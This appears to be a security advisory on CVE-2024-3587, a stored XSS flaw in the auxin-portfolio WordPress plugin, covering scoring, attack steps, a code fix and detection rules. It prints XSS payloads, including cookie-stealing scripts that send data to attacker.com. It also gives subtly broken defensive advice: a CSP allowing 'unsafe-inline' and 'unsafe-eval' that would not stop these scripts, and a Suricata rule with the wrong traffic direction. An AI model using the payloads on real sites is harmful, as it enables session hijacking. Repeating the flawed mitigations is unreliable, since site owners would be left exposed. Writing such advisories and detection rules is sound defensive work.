CVE-2024-3587

Executive Summary

CVE-2024-3587 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Premium Portfolio Features for Phlox theme WordPress plugin (slug: auxin-portfolio), up to and including version 2.3.2. The flaw resides in the plugin's Grid Portfolios Widget, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level privileges can inject arbitrary web scripts into pages. When any user (including administrators) visits the compromised page, the injected script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server software (Apache/Nginx). The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the risk increases as the vulnerability becomes more widely known.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication, but contributor-level access is relatively easy to obtain in multi-author WordPress sites. The stored XSS can be used to escalate privileges or compromise other users.

Deep Dive & Mechanics

The vulnerability exists in the auxin-portfolio plugin's Grid Portfolios Widget. The widget accepts user-supplied attributes (e.g., title, description, link) that are rendered directly into the page without proper sanitization or output escaping. WordPress's built-in functions like esc_html() or wp_kses() are not applied to these attributes, allowing an attacker to inject HTML and JavaScript.

Attack Flow:

1. An authenticated user with contributor-level access creates or edits a portfolio item.
2. The attacker injects a malicious payload into one of the widget's attribute fields (e.g., title).
3. The payload is stored in the WordPress database.
4. When any user (including admins) views the page containing the Grid Portfolios Widget, the payload executes.

Example Payload:

<img src=x onerror=alert('XSS')>

or

"><script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is identified below. The fix would involve proper output escaping.

Vulnerable Code (in auxin-portfolio plugin, likely in a widget file):

// Vulnerable: Direct output without escaping
echo '<div class="portfolio-title">' . $instance['title'] . '</div>';

Patched Code (recommended fix):

// Patched: Escaped output
echo '<div class="portfolio-title">' . esc_html( $instance['title'] ) . '</div>';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with auxin-portfolio plugin <= 2.3.2
• Contributor-level account credentials

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Portfolio > Add New.
3. In the Title field, inject the following payload:

   <img src=x onerror=alert(document.cookie)>
   

4. Publish the portfolio item.
5. As an administrator, visit the page displaying the Grid Portfolios Widget. The XSS triggers.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual attribute values in portfolio items (e.g., <script>, onerror, onload).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review WordPress logs for suspicious contributor activity.

Prevention:

• Disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/auxin-portfolio/ (entire plugin directory)
• Database: Portfolio posts containing HTML/JavaScript in post_title or post_content fields.
• Network: Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal?cookie=...).
• Logs: WordPress debug logs showing unexpected HTML in portfolio attributes.

Detection Engineering

YARA Rule

rule CVE_2024_3587_Phlox_XSS {
    meta:
        description = "Detects stored XSS payloads in Phlox portfolio plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3587"
    strings:
        $xss1 = /<[^>]*\s+on\w+\s*=[^>]*>/i
        $xss2 = /<script[^>]*>.*<\/script>/i
        $xss3 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Phlox Portfolio Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Phlox portfolio widget attributes
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'action=save_portfolio'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in portfolio descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-3587 - Stored XSS in Phlox Portfolio Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=save_portfolio"; http_client_body;
    pcre:"/(<script|<[^>]+on\w+\s*=)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-3587;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential.
2. Restrict contributor roles to only trusted users.
3. Apply virtual patching via WAF rules to block XSS payloads.

Long-term Fix:

• The vendor (Phlox) must release a patched version that properly escapes output.
• Until then, manually edit the plugin files to add esc_html() or wp_kses() to all user-supplied attributes.

Workaround:

• Use a security plugin (e.g., Wordfence) to block XSS attempts.
• Implement CSP headers:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
  

Valters IT
Securing Digital Frontiers